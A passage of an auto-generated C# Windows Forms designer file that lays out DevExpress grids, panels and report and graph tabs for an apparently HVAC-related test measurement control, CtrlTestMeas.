this.tc1Grid.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.tc1Grid.Location = new System.Drawing.Point(6, 40);
this.tc1Grid.MainView = this.tc1GridView;
this.tc1Grid.Name = "tc1Grid";
this.tc1Grid.Size = new System.Drawing.Size(335, 813);
this.tc1Grid.TabIndex = 10;
this.tc1Grid.ViewCollection.AddRange(new DevExpress.XtraGrid.Views.Base.BaseView[] {
this.tc1GridView});
//
// tc1GridView
//
this.tc1GridView.Appearance.FixedLine.Font = new System.Drawing.Font("Arial", 9F);
this.tc1GridView.Appearance.FixedLine.Options.UseFont = true;
this.tc1GridView.Appearance.FocusedRow.Font = new System.Drawing.Font("Arial", 9F);
this.tc1GridView.Appearance.FocusedRow.Options.UseFont = true;
this.tc1GridView.Appearance.HeaderPanel.Font = new System.Drawing.Font("Arial", 9F);
this.tc1GridView.Appearance.HeaderPanel.Options.UseFont = true;
this.tc1GridView.Appearance.HideSelectionRow.Font = new System.Drawing.Font("Arial", 9F);
this.tc1GridView.Appearance.HideSelectionRow.Options.UseFont = true;
this.tc1GridView.Appearance.OddRow.Font = new System.Drawing.Font("Arial", 9F);
this.tc1GridView.Appearance.OddRow.Options.UseFont = true;
this.tc1GridView.Appearance.Preview.Font = new System.Drawing.Font("Arial", 9F);
this.tc1GridView.Appearance.Preview.Options.UseFont = true;
this.tc1GridView.Appearance.Row.Font = new System.Drawing.Font("Arial", 9F);
this.tc1GridView.Appearance.Row.Options.UseFont = true;
this.tc1GridView.Appearance.SelectedRow.Font = new System.Drawing.Font("Arial", 9F);
this.tc1GridView.Appearance.SelectedRow.Options.UseFont = true;
this.tc1GridView.Appearance.ViewCaption.Font = new System.Drawing.Font("Arial", 9F);
this.tc1GridView.Appearance.ViewCaption.Options.UseFont = true;
this.tc1GridView.Columns.AddRange(new DevExpress.XtraGrid.Columns.GridColumn[] {
this.tc1NoColumn,
this.tc1NameColumn,
this.tc1ValueColumn,
this.tc1UnitColumn});
this.tc1GridView.CustomizationFormBounds = new System.Drawing.Rectangle(2884, 580, 210, 186);
this.tc1GridView.GridControl = this.tc1Grid;
this.tc1GridView.Name = "tc1GridView";
this.tc1GridView.OptionsView.ColumnAutoWidth = false;
this.tc1GridView.OptionsView.ShowGroupPanel = false;
this.tc1GridView.OptionsView.ShowIndicator = false;
this.tc1GridView.Tag = 0;
//
// tc1NoColumn
//
this.tc1NoColumn.AppearanceCell.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.tc1NoColumn.AppearanceCell.Options.UseFont = true;
this.tc1NoColumn.AppearanceCell.Options.UseTextOptions = true;
this.tc1NoColumn.AppearanceCell.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Center;
this.tc1NoColumn.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.tc1NoColumn.AppearanceHeader.Options.UseFont = true;
this.tc1NoColumn.AppearanceHeader.Options.UseTextOptions = true;
this.tc1NoColumn.AppearanceHeader.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Center;
this.tc1NoColumn.Caption = "No";
this.tc1NoColumn.DisplayFormat.FormatString = "{0:d2}";
this.tc1NoColumn.DisplayFormat.FormatType = DevExpress.Utils.FormatType.Numeric;
this.tc1NoColumn.FieldName = "No";
this.tc1NoColumn.Name = "tc1NoColumn";
this.tc1NoColumn.OptionsColumn.AllowEdit = false;
this.tc1NoColumn.OptionsColumn.AllowFocus = false;
this.tc1NoColumn.OptionsColumn.AllowGroup = DevExpress.Utils.DefaultBoolean.False;
this.tc1NoColumn.OptionsColumn.AllowIncrementalSearch = false;
this.tc1NoColumn.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.tc1NoColumn.OptionsColumn.AllowMove = false;
this.tc1NoColumn.OptionsColumn.AllowShowHide = false;
this.tc1NoColumn.OptionsColumn.AllowSize = false;
this.tc1NoColumn.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.tc1NoColumn.OptionsColumn.FixedWidth = true;
this.tc1NoColumn.OptionsColumn.ImmediateUpdateRowPosition = DevExpress.Utils.DefaultBoolean.False;
this.tc1NoColumn.OptionsColumn.Printable = DevExpress.Utils.DefaultBoolean.False;
this.tc1NoColumn.OptionsColumn.ReadOnly = true;
this.tc1NoColumn.OptionsFilter.AllowAutoFilter = false;
this.tc1NoColumn.OptionsFilter.AllowFilter = false;
this.tc1NoColumn.OptionsFilter.AllowFilterModeChanging = DevExpress.Utils.DefaultBoolean.False;
this.tc1NoColumn.OptionsFilter.FilterBySortField = DevExpress.Utils.DefaultBoolean.False;
this.tc1NoColumn.OptionsFilter.ImmediateUpdateAutoFilter = false;
this.tc1NoColumn.Visible = true;
this.tc1NoColumn.VisibleIndex = 0;
this.tc1NoColumn.Width = 32;
//
// tc1NameColumn
//
this.tc1NameColumn.AppearanceCell.Font = new System.Drawing.Font("Arial", 9F);
this.tc1NameColumn.AppearanceCell.Options.UseFont = true;
this.tc1NameColumn.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F);
this.tc1NameColumn.AppearanceHeader.Options.UseFont = true;
this.tc1NameColumn.AppearanceHeader.Options.UseTextOptions = true;
this.tc1NameColumn.AppearanceHeader.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Center;
this.tc1NameColumn.Caption = "Indoor No.1";
this.tc1NameColumn.FieldName = "Name";
this.tc1NameColumn.Name = "tc1NameColumn";
this.tc1NameColumn.OptionsColumn.AllowEdit = false;
this.tc1NameColumn.OptionsColumn.AllowFocus = false;
this.tc1NameColumn.OptionsColumn.AllowGroup = DevExpress.Utils.DefaultBoolean.False;
this.tc1NameColumn.OptionsColumn.AllowIncrementalSearch = false;
this.tc1NameColumn.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.tc1NameColumn.OptionsColumn.AllowMove = false;
this.tc1NameColumn.OptionsColumn.AllowShowHide = false;
this.tc1NameColumn.OptionsColumn.AllowSize = false;
this.tc1NameColumn.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.tc1NameColumn.OptionsColumn.FixedWidth = true;
this.tc1NameColumn.OptionsColumn.ImmediateUpdateRowPosition = DevExpress.Utils.DefaultBoolean.False;
this.tc1NameColumn.OptionsColumn.Printable = DevExpress.Utils.DefaultBoolean.False;
this.tc1NameColumn.OptionsColumn.ReadOnly = true;
this.tc1NameColumn.OptionsColumn.TabStop = false;
this.tc1NameColumn.OptionsFilter.AllowAutoFilter = false;
this.tc1NameColumn.OptionsFilter.AllowFilter = false;
this.tc1NameColumn.Visible = true;
this.tc1NameColumn.VisibleIndex = 1;
this.tc1NameColumn.Width = 165;
//
// tc1ValueColumn
//
this.tc1ValueColumn.AppearanceCell.Font = new System.Drawing.Font("Arial", 9F);
this.tc1ValueColumn.AppearanceCell.Options.UseFont = true;
this.tc1ValueColumn.AppearanceCell.Options.UseTextOptions = true;
this.tc1ValueColumn.AppearanceCell.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Far;
this.tc1ValueColumn.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F);
this.tc1ValueColumn.AppearanceHeader.Options.UseFont = true;
this.tc1ValueColumn.Caption = "Value";
this.tc1ValueColumn.DisplayFormat.FormatString = "{0:F2}";
this.tc1ValueColumn.DisplayFormat.FormatType = DevExpress.Utils.FormatType.Numeric;
this.tc1ValueColumn.FieldName = "Value";
this.tc1ValueColumn.Name = "tc1ValueColumn";
this.tc1ValueColumn.OptionsColumn.AllowEdit = false;
this.tc1ValueColumn.OptionsColumn.AllowFocus = false;
this.tc1ValueColumn.OptionsColumn.AllowGroup = DevExpress.Utils.DefaultBoolean.False;
this.tc1ValueColumn.OptionsColumn.AllowIncrementalSearch = false;
this.tc1ValueColumn.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.tc1ValueColumn.OptionsColumn.AllowMove = false;
this.tc1ValueColumn.OptionsColumn.AllowShowHide = false;
this.tc1ValueColumn.OptionsColumn.AllowSize = false;
this.tc1ValueColumn.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.tc1ValueColumn.OptionsColumn.FixedWidth = true;
this.tc1ValueColumn.OptionsColumn.ImmediateUpdateRowPosition = DevExpress.Utils.DefaultBoolean.False;
this.tc1ValueColumn.OptionsColumn.Printable = DevExpress.Utils.DefaultBoolean.False;
this.tc1ValueColumn.OptionsColumn.ReadOnly = true;
this.tc1ValueColumn.OptionsColumn.TabStop = false;
this.tc1ValueColumn.OptionsFilter.AllowAutoFilter = false;
this.tc1ValueColumn.OptionsFilter.AllowFilter = false;
this.tc1ValueColumn.Visible = true;
this.tc1ValueColumn.VisibleIndex = 2;
this.tc1ValueColumn.Width = 60;
//
// tc1UnitColumn
//
this.tc1UnitColumn.Caption = "Unit";
this.tc1UnitColumn.FieldName = "Unit";
this.tc1UnitColumn.Name = "tc1UnitColumn";
this.tc1UnitColumn.OptionsColumn.AllowEdit = false;
this.tc1UnitColumn.OptionsColumn.AllowFocus = false;
this.tc1UnitColumn.OptionsColumn.AllowGroup = DevExpress.Utils.DefaultBoolean.False;
this.tc1UnitColumn.OptionsColumn.AllowIncrementalSearch = false;
this.tc1UnitColumn.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.tc1UnitColumn.OptionsColumn.AllowMove = false;
this.tc1UnitColumn.OptionsColumn.AllowShowHide = false;
this.tc1UnitColumn.OptionsColumn.AllowSize = false;
this.tc1UnitColumn.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.tc1UnitColumn.OptionsColumn.FixedWidth = true;
this.tc1UnitColumn.OptionsColumn.ImmediateUpdateRowPosition = DevExpress.Utils.DefaultBoolean.False;
this.tc1UnitColumn.OptionsColumn.Printable = DevExpress.Utils.DefaultBoolean.False;
this.tc1UnitColumn.OptionsColumn.ReadOnly = true;
this.tc1UnitColumn.OptionsFilter.AllowAutoFilter = false;
this.tc1UnitColumn.OptionsFilter.AllowFilter = false;
this.tc1UnitColumn.Visible = true;
this.tc1UnitColumn.VisibleIndex = 3;
this.tc1UnitColumn.Width = 58;
//
// ulPanel95
//
this.ulPanel95.BackColor = System.Drawing.Color.DeepSkyBlue;
this.ulPanel95.BevelInner = Ulee.Controls.EUlBevelStyle.None;
this.ulPanel95.BevelOuter = Ulee.Controls.EUlBevelStyle.Lowered;
this.ulPanel95.Font = new System.Drawing.Font("Arial Rounded MT Bold", 10F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.ulPanel95.ForeColor = System.Drawing.Color.White;
this.ulPanel95.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.ulPanel95.InnerColor2 = System.Drawing.Color.White;
this.ulPanel95.Location = new System.Drawing.Point(6, 6);
this.ulPanel95.Name = "ulPanel95";
this.ulPanel95.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.ulPanel95.OuterColor2 = System.Drawing.Color.White;
this.ulPanel95.Size = new System.Drawing.Size(1017, 28);
this.ulPanel95.Spacing = 0;
this.ulPanel95.TabIndex = 5;
this.ulPanel95.Text = "THEMOCOUPLE";
this.ulPanel95.TextHAlign = Ulee.Controls.EUlHoriAlign.Center;
this.ulPanel95.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// reportPage
//
this.reportPage.Controls.Add(this.reportSheet);
this.reportPage.Location = new System.Drawing.Point(4, 24);
this.reportPage.Margin = new System.Windows.Forms.Padding(0);
this.reportPage.Name = "reportPage";
this.reportPage.Size = new System.Drawing.Size(1392, 887);
this.reportPage.TabIndex = 1;
this.reportPage.Text = " Report ";
this.reportPage.UseVisualStyleBackColor = true;
//
// reportSheet
//
this.reportSheet.Dock = System.Windows.Forms.DockStyle.Fill;
this.reportSheet.Location = new System.Drawing.Point(0, 0);
this.reportSheet.Margin = new System.Windows.Forms.Padding(0);
this.reportSheet.Name = "reportSheet";
this.reportSheet.Options.Import.Csv.Encoding = ((System.Text.Encoding)(resources.GetObject("reportSheet.Options.Import.Csv.Encoding")));
this.reportSheet.Options.Import.Txt.Encoding = ((System.Text.Encoding)(resources.GetObject("reportSheet.Options.Import.Txt.Encoding")));
this.reportSheet.Options.View.ShowColumnHeaders = false;
this.reportSheet.Options.View.ShowRowHeaders = false;
this.reportSheet.ReadOnly = true;
this.reportSheet.Size = new System.Drawing.Size(1392, 887);
this.reportSheet.TabIndex = 1;
//
// graphPage
//
this.graphPage.BackColor = System.Drawing.Color.White;
this.graphPage.Controls.Add(this.graphTab);
this.graphPage.Location = new System.Drawing.Point(4, 24);
this.graphPage.Margin = new System.Windows.Forms.Padding(0);
this.graphPage.Name = "graphPage";
this.graphPage.Size = new System.Drawing.Size(1392, 887);
this.graphPage.TabIndex = 2;
this.graphPage.Text = " Graph ";
//
// graphTab
//
this.graphTab.Alignment = System.Windows.Forms.TabAlignment.Bottom;
this.graphTab.Controls.Add(this.graph1Page);
this.graphTab.Controls.Add(this.graph2Page);
this.graphTab.Controls.Add(this.graph3Page);
this.graphTab.Controls.Add(this.graph4Page);
this.graphTab.Controls.Add(this.graph5Page);
this.graphTab.Controls.Add(this.graph6Page);
this.graphTab.Dock = System.Windows.Forms.DockStyle.Fill;
this.graphTab.Location = new System.Drawing.Point(0, 0);
this.graphTab.Margin = new System.Windows.Forms.Padding(0);
this.graphTab.Name = "graphTab";
this.graphTab.Padding = new System.Drawing.Point(0, 0);
this.graphTab.SelectedIndex = 0;
this.graphTab.Size = new System.Drawing.Size(1392, 887);
this.graphTab.TabIndex = 0;
this.graphTab.SelectedIndexChanged += new System.EventHandler(this.graphTab_SelectedIndexChanged);
//
// graph1Page
//
this.graph1Page.Location = new System.Drawing.Point(4, 4);
this.graph1Page.Margin = new System.Windows.Forms.Padding(0);
this.graph1Page.Name = "graph1Page";
this.graph1Page.Size = new System.Drawing.Size(1384, 859);
this.graph1Page.TabIndex = 0;
this.graph1Page.Tag = "0";
this.graph1Page.Text = " Graph #1 ";
this.graph1Page.UseVisualStyleBackColor = true;
//
// graph2Page
//
this.graph2Page.Location = new System.Drawing.Point(4, 4);
this.graph2Page.Margin = new System.Windows.Forms.Padding(0);
this.graph2Page.Name = "graph2Page";
this.graph2Page.Size = new System.Drawing.Size(304, 828);
this.graph2Page.TabIndex = 1;
this.graph2Page.Tag = "1";
this.graph2Page.Text = " Graph #2 ";
this.graph2Page.UseVisualStyleBackColor = true;
//
// graph3Page
//
this.graph3Page.Location = new System.Drawing.Point(4, 4);
this.graph3Page.Margin = new System.Windows.Forms.Padding(0);
this.graph3Page.Name = "graph3Page";
this.graph3Page.Size = new System.Drawing.Size(304, 828);
this.graph3Page.TabIndex = 2;
this.graph3Page.Tag = "2";
this.graph3Page.Text = " Graph #3 ";
this.graph3Page.UseVisualStyleBackColor = true;
//
// graph4Page
//
this.graph4Page.Location = new System.Drawing.Point(4, 4);
this.graph4Page.Name = "graph4Page";
this.graph4Page.Padding = new System.Windows.Forms.Padding(3);
this.graph4Page.Size = new System.Drawing.Size(304, 828);
this.graph4Page.TabIndex = 3;
this.graph4Page.Tag = "3";
this.graph4Page.Text = " Graph #4 ";
this.graph4Page.UseVisualStyleBackColor = true;
//
// graph5Page
//
this.graph5Page.Location = new System.Drawing.Point(4, 4);
this.graph5Page.Name = "graph5Page";
this.graph5Page.Padding = new System.Windows.Forms.Padding(3);
this.graph5Page.Size = new System.Drawing.Size(304, 828);
this.graph5Page.TabIndex = 4;
this.graph5Page.Tag = "4";
this.graph5Page.Text = " Graph #5 ";
this.graph5Page.UseVisualStyleBackColor = true;
//
// graph6Page
//
this.graph6Page.Location = new System.Drawing.Point(4, 4);
this.graph6Page.Name = "graph6Page";
this.graph6Page.Padding = new System.Windows.Forms.Padding(3);
this.graph6Page.Size = new System.Drawing.Size(304, 828);
this.graph6Page.TabIndex = 5;
this.graph6Page.Tag = "5";
this.graph6Page.Text = " Graph #6 ";
this.graph6Page.UseVisualStyleBackColor = true;
//
// CtrlTestMeas
//
this.AutoScaleDimensions = new System.Drawing.SizeF(7F, 12F);
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.Name = "CtrlTestMeas";
this.Size = new System.Drawing.Size(1728, 915);
this.Load += new System.EventHandler(this.CtrlTestMeas_Load);
this.Enter += new System.EventHandler(this.CtrlTestMeas_Enter);
this.bgPanel.ResumeLayout(false);
this.ulPanel4.ResumeLayout(false);
((System.ComponentModel.ISupportInitialize)(this.totalRatedGrid)).EndInit();
((System.ComponentModel.ISupportInitialize)(this.totalRatedGridView)).EndInit();
this.ulPanel1.ResumeLayout(false);
((System.ComponentModel.ISupportInitialize)(this.runStateGrid)).EndInit();
((System.ComponentModel.ISupportInitialize)(this.runStateGridView)).EndInit();
((System.ComponentModel.ISupportInitialize)(this.scheduleProgress.Properties)).EndInit();
((System.ComponentModel.ISupportInitialize)(this.repeatProgress.Properties)).EndInit();
((System.ComponentModel.ISupportInitialize)(this.noOfSteadyProgress.Properties)).EndInit();
((System.ComponentModel.ISupportInitialize)(this.integrationProgress.Properties)).EndInit();
((System.ComponentModel.ISupportInitialize)(this.judgementProgress.Properties)).EndInit();
((System.ComponentModel.ISupportInitialize)(this.preparationProgress.Properties)).EndInit();
this.testMeasTab.ResumeLayout(false);
this.measPage.ResumeLayout(false);
this.measTab.ResumeLayout(false);
this.meas1Page.ResumeLayout(false);
this.ulPanel5.ResumeLayout(false);
((System.ComponentModel.ISupportInitialize)(this.methodGrid)).EndInit();
((System.ComponentModel.ISupportInitialize)(this.methodGridView)).EndInit();
this.ulPanel3.ResumeLayout(false);
((System.ComponentModel.ISupportInitialize)(this.indoor11Grid)).EndInit();
((System.ComponentModel.ISupportInitialize)(this.indoor11GridView)).EndInit();
this.ulPanel79.ResumeLayout(false);
((System.ComponentModel.ISupportInitialize)(this.outdoorGrid)).EndInit();
((System.ComponentModel.ISupportInitialize)(this.outdoorGridView)).EndInit();
this.ulPanel59.ResumeLayout(false);
((System.ComponentModel.ISupportInitialize)(this.ratedGrid)).EndInit();
((System.ComponentModel.ISupportInitialize)(this.ratedGridView)).EndInit();
this.ulPanel69.ResumeLayout(false);
((System.ComponentModel.ISupportInitialize)(this.indoor22Grid)).EndInit();
((System.ComponentModel.ISupportInitialize)(this.indoor22GridView)).EndInit();
this.ulPanel74.ResumeLayout(false);
((System.ComponentModel.ISupportInitialize)(this.indoor21Grid)).EndInit();
((System.ComponentModel.ISupportInitialize)(this.indoor21GridView)).EndInit();
this.ulPanel64.ResumeLayout(false);
((System.ComponentModel.ISupportInitialize)(this.indoor12Grid)).EndInit();
((System.ComponentModel.ISupportInitialize)(this.indoor12GridView)).EndInit();
this.ulPanel39.ResumeLayout(false);
((System.ComponentModel.ISupportInitialize)(this.noteGrid)).EndInit();
((System.ComponentModel.ISupportInitialize)(this.noteGridView)).EndInit();
this.ulPanel37.ResumeLayout(false);
((System.ComponentModel.ISupportInitialize)(this.outsideGrid)).EndInit();
((System.ComponentModel.ISupportInitialize)(this.outsideGridView)).EndInit();
this.ulPanel15.ResumeLayout(false);
((System.ComponentModel.ISupportInitialize)(this.asNozzleGrid)).EndInit();
((System.ComponentModel.ISupportInitialize)(this.asNozzleGridView)).EndInit();
((System.ComponentModel.ISupportInitialize)(this.asNozzleCheckEdit)).EndInit();
((System.ComponentModel.ISupportInitialize)(this.airSideGrid)).EndInit();
((System.ComponentModel.ISupportInitialize)(this.airSideGridView)).EndInit();
this.meas2Page.ResumeLayout(false);
this.ulPanel85.ResumeLayout(false);
((System.ComponentModel.ISupportInitialize)(this.pressureGrid)).EndInit();
((System.ComponentModel.ISupportInitialize)(this.pressureGridView)).EndInit();
this.ulPanel84.ResumeLayout(false);
((System.ComponentModel.ISupportInitialize)(this.tc3Grid)).EndInit();
((System.ComponentModel.ISupportInitialize)(this.tc3GridView)).EndInit();
((System.ComponentModel.ISupportInitialize)(this.tc2Grid)).EndInit();
((System.ComponentModel.ISupportInitialize)(this.tc2GridView)).EndInit();
((System.ComponentModel.ISupportInitialize)(this.tc1Grid)).EndInit();
((System.ComponentModel.ISupportInitialize)(this.tc1GridView)).EndInit();
this.reportPage.ResumeLayout(false);
this.graphPage.ResumeLayout(false);
this.graphTab.ResumeLayout(false);
this.ResumeLayout(false);
this.PerformLayout();
}
#endregion
private System.Windows.Forms.TabControl testMeasTab;
private System.Windows.Forms.TabPage measPage;
private System.Windows.Forms.TabControl measTab;
private System.Windows.Forms.TabPage meas1Page;
private System.Windows.Forms.TabPage meas2Page;
private System.Windows.Forms.TabPage reportPage;
private System.Windows.Forms.TabPage graphPage;
private System.Windows.Forms.TabControl graphTab;
private System.Windows.Forms.TabPage graph1Page;
private System.Windows.Forms.TabPage graph2Page;
private Ulee.Controls.UlPanel ulPanel1;
private Ulee.Controls.UlPanel ulPanel2;
private Ulee.Controls.UlPanel ulPanel4;
private Ulee.Controls.UlPanel ulPanel6;
private DevExpress.XtraSpreadsheet.SpreadsheetControl reportSheet;
private System.Windows.Forms.TabPage graph3Page;
private System.Windows.Forms.TabPage graph4Page;
private System.Windows.Forms.TabPage graph5Page;
private System.Windows.Forms.TabPage graph6Page;
private DevExpress.XtraEditors.ProgressBarControl judgementProgress;
private DevExpress.XtraEditors.ProgressBarControl preparationProgress;
private System.Windows.Forms.Label label38;
private System.Windows.Forms.Label label37;
private System.Windows.Forms.Label label36;
private System.Windows.Forms.Label label35;
private System.Windows.Forms.Label label32;
private System.Windows.Forms.Label label31;
private DevExpress.XtraEditors.ProgressBarControl scheduleProgress;
private DevExpress.XtraEditors.ProgressBarControl repeatProgress;
private DevExpress.XtraEditors.ProgressBarControl noOfSteadyProgress;
private DevExpress.XtraEditors.ProgressBarControl integrationProgress;
private Ulee.Controls.UlPanel ulPanel15;
private Ulee.Controls.UlPanel ulPanel16;
private Ulee.Controls.UlPanel ulPanel37;
private Ulee.Controls.UlPanel ulPanel38;
private Ulee.Controls.UlPanel ulPanel39;
private Ulee.Controls.UlPanel ulPanel40;
private Ulee.Controls.UlPanel ulPanel79;
private Ulee.Controls.UlPanel ulPanel83;
private Ulee.Controls.UlPanel ulPanel69;
private Ulee.Controls.UlPanel ulPanel73;
private Ulee.Controls.UlPanel ulPanel74;
private Ulee.Controls.UlPanel ulPanel78;
private Ulee.Controls.UlPanel ulPanel64;
private Ulee.Controls.UlPanel ulPanel68;
private Ulee.Controls.UlPanel ulPanel59;
private Ulee.Controls.UlPanel ulPanel60;
private Ulee.Controls.UlPanel ulPanel84;
private Ulee.Controls.UlPanel ulPanel95;
private Ulee.Controls.UlPanel ulPanel85;
private DevExpress.XtraGrid.GridControl pressureGrid;
private DevExpress.XtraGrid.Views.Grid.GridView pressureGridView;
private DevExpress.XtraGrid.Columns.GridColumn pressureNameColumn;
private DevExpress.XtraGrid.Columns.GridColumn pressureValueColumn;
private DevExpress.XtraGrid.Columns.GridColumn pressureUnitColumn;
private Ulee.Controls.UlPanel ulPanel86;
private DevExpress.XtraGrid.GridControl tc3Grid;
private DevExpress.XtraGrid.Views.Grid.GridView tc3GridView;
private DevExpress.XtraGrid.Columns.GridColumn tc3NameColumn;
private DevExpress.XtraGrid.Columns.GridColumn tc3ValueColumn;
private DevExpress.XtraGrid.Columns.GridColumn tc3UnitColumn;
private DevExpress.XtraGrid.GridControl tc2Grid;
private DevExpress.XtraGrid.Views.Grid.GridView tc2GridView;
private DevExpress.XtraGrid.Columns.GridColumn tc2NameColumn;
private DevExpress.XtraGrid.Columns.GridColumn tc2ValueColumn;
private DevExpress.XtraGrid.Columns.GridColumn tc2UnitColumn;
private DevExpress.XtraGrid.GridControl tc1Grid;
private DevExpress.XtraGrid.Views.Grid.GridView tc1GridView;
private DevExpress.XtraGrid.Columns.GridColumn tc1NameColumn;
private DevExpress.XtraGrid.Columns.GridColumn tc1ValueColumn;
private DevExpress.XtraGrid.Columns.GridColumn tc1UnitColumn;
private DevExpress.XtraGrid.GridControl noteGrid;
private DevExpress.XtraGrid.Views.Grid.GridView noteGridView;
private DevExpress.XtraGrid.Columns.GridColumn noteNameColumn;
private DevExpress.XtraGrid.Columns.GridColumn noteValueColumn;
private DevExpress.XtraGrid.GridControl outsideGrid;
private DevExpress.XtraGrid.Views.Grid.GridView outsideGridView;
private DevExpress.XtraGrid.Columns.GridColumn osNameColumn;
private DevExpress.XtraGrid.Columns.GridColumn osValueColumn;
private DevExpress.XtraGrid.Columns.GridColumn osUnitColumn;
private DevExpress.XtraGrid.GridControl asNozzleGrid;
private DevExpress.XtraGrid.GridControl airSideGrid;
private DevExpress.XtraGrid.Views.Grid.GridView airSideGridView;
private DevExpress.XtraGrid.Columns.GridColumn agNameColumn;
private DevExpress.XtraGrid.Columns.GridColumn agID11Column;
private DevExpress.XtraGrid.Columns.GridColumn agID12Column;
private DevExpress.XtraGrid.Columns.GridColumn agID21Column;
private DevExpress.XtraGrid.Columns.GridColumn sgID22Column;
private DevExpress.XtraGrid.Columns.GridColumn sgUnitColumn;
private DevExpress.XtraGrid.GridControl ratedGrid;
private DevExpress.XtraGrid.Views.Grid.GridView ratedGridView;
private DevExpress.XtraGrid.Columns.GridColumn rgNameColumn;
private DevExpress.XtraGrid.Columns.GridColumn rgValueColumn;
private DevExpress.XtraGrid.Columns.GridColumn rgUnitColumn;
private DevExpress.XtraGrid.GridControl totalRatedGrid;
private DevExpress.XtraGrid.Views.Grid.GridView totalRatedGridView;
private DevExpress.XtraGrid.Columns.GridColumn trgNameColumn;
private DevExpress.XtraGrid.Columns.GridColumn trgValueColumn;
private DevExpress.XtraGrid.Columns.GridColumn trgUnitColumn;
private Ulee.Controls.UlPanel ulPanel3;
private DevExpress.XtraGrid.GridControl indoor11Grid;
private DevExpress.XtraGrid.Views.Grid.GridView indoor11GridView;
private DevExpress.XtraGrid.Columns.GridColumn ID11NameColumn;
private DevExpress.XtraGrid.Columns.GridColumn ID11ValueColumn;
private DevExpress.XtraGrid.Columns.GridColumn ID11UnitColumn;
private Ulee.Controls.UlPanel ulPanel17;
private DevExpress.XtraGrid.GridControl outdoorGrid;
private DevExpress.XtraGrid.Views.Grid.GridView outdoorGridView;
private DevExpress.XtraGrid.Columns.GridColumn ODNameColumn;
private DevExpress.XtraGrid.Columns.GridColumn ODValueColumn;
private DevExpress.XtraGrid.Columns.GridColumn ODUnitColumn;
private DevExpress.XtraGrid.GridControl indoor22Grid;
private DevExpress.XtraGrid.Views.Grid.GridView indoor22GridView;
private DevExpress.XtraGrid.Columns.GridColumn ID22NameColumn;
private DevExpress.XtraGrid.Columns.GridColumn ID22ValueColumn;
private DevExpress.XtraGrid.Columns.GridColumn ID22UnitColumn;
private DevExpress.XtraGrid.GridControl indoor21Grid;
private DevExpress.XtraGrid.Views.Grid.GridView indoor21GridView;
private DevExpress.XtraGrid.Columns.GridColumn ID21NameColumn;
private DevExpress.XtraGrid.Columns.GridColumn ID21ValueColumn;
private DevExpress.XtraGrid.Columns.GridColumn ID21UnitColumn;
private DevExpress.XtraGrid.GridControl indoor12Grid;
private DevExpress.XtraGrid.Views.Grid.GridView indoor12GridView;
private DevExpress.XtraGrid.Columns.GridColumn ID12NameColumn;
private DevExpress.XtraGrid.Columns.GridColumn ID12ValueColumn;
private DevExpress.XtraGrid.Columns.GridColumn ID12UnitColumn;
private DevExpress.XtraGrid.GridControl runStateGrid;
private DevExpress.XtraGrid.Views.Grid.GridView runStateGridView;
private DevExpress.XtraGrid.Columns.GridColumn rsgNameColumn;
private DevExpress.XtraGrid.Columns.GridColumn rsgValueColumn;
private Ulee.Controls.UlPanel ulPanel5;
private DevExpress.XtraGrid.GridControl methodGrid;
private DevExpress.XtraGrid.Views.Grid.GridView methodGridView;
private DevExpress.XtraGrid.Columns.GridColumn mgNameColumn;
private DevExpress.XtraGrid.Columns.GridColumn meValueColumn;
private Ulee.Controls.UlPanel ulPanel7;
private DevExpress.XtraGrid.Columns.GridColumn tc1NoColumn;
private DevExpress.XtraGrid.Columns.GridColumn pressureNoColumn;
private DevExpress.XtraGrid.Columns.GridColumn tc3NoColumn;
private DevExpress.XtraGrid.Columns.GridColumn tc2NoColumn;
private DevExpress.XtraGrid.Views.BandedGrid.AdvBandedGridView asNozzleGridView;
private DevExpress.XtraGrid.Views.BandedGrid.BandedGridColumn asNozzleNameColumn;
private DevExpress.XtraGrid.Views.BandedGrid.BandedGridColumn asNozzleID11DiameterColumn;
private DevExpress.XtraGrid.Views.BandedGrid.BandedGridColumn asNozzleID12DiameterColumn;
private DevExpress.XtraGrid.Views.BandedGrid.BandedGridColumn asNozzleID21DiameterColumn;
private DevExpress.XtraGrid.Views.BandedGrid.BandedGridColumn asNozzleID22DiameterColumn;
private DevExpress.XtraGrid.Views.BandedGrid.BandedGridColumn asNozzleID11CheckColumn;
private DevExpress.XtraGrid.Views.BandedGrid.BandedGridColumn asNozzleID12CheckColumn;
private DevExpress.XtraGrid.Views.BandedGrid.BandedGridColumn asNozzleID21CheckColumn;
private DevExpress.XtraGrid.Views.BandedGrid.BandedGridColumn asNozzleID22CheckColumn;
private DevExpress.XtraGrid.Views.BandedGrid.GridBand asNozzleGenaralBand;
private DevExpress.XtraGrid.Views.BandedGrid.GridBand asNozzleID11Band;
private DevExpress.XtraGrid.Views.BandedGrid.GridBand asNozzleID12Band;
private DevExpress.XtraGrid.Views.BandedGrid.GridBand asNozzleID21Band;
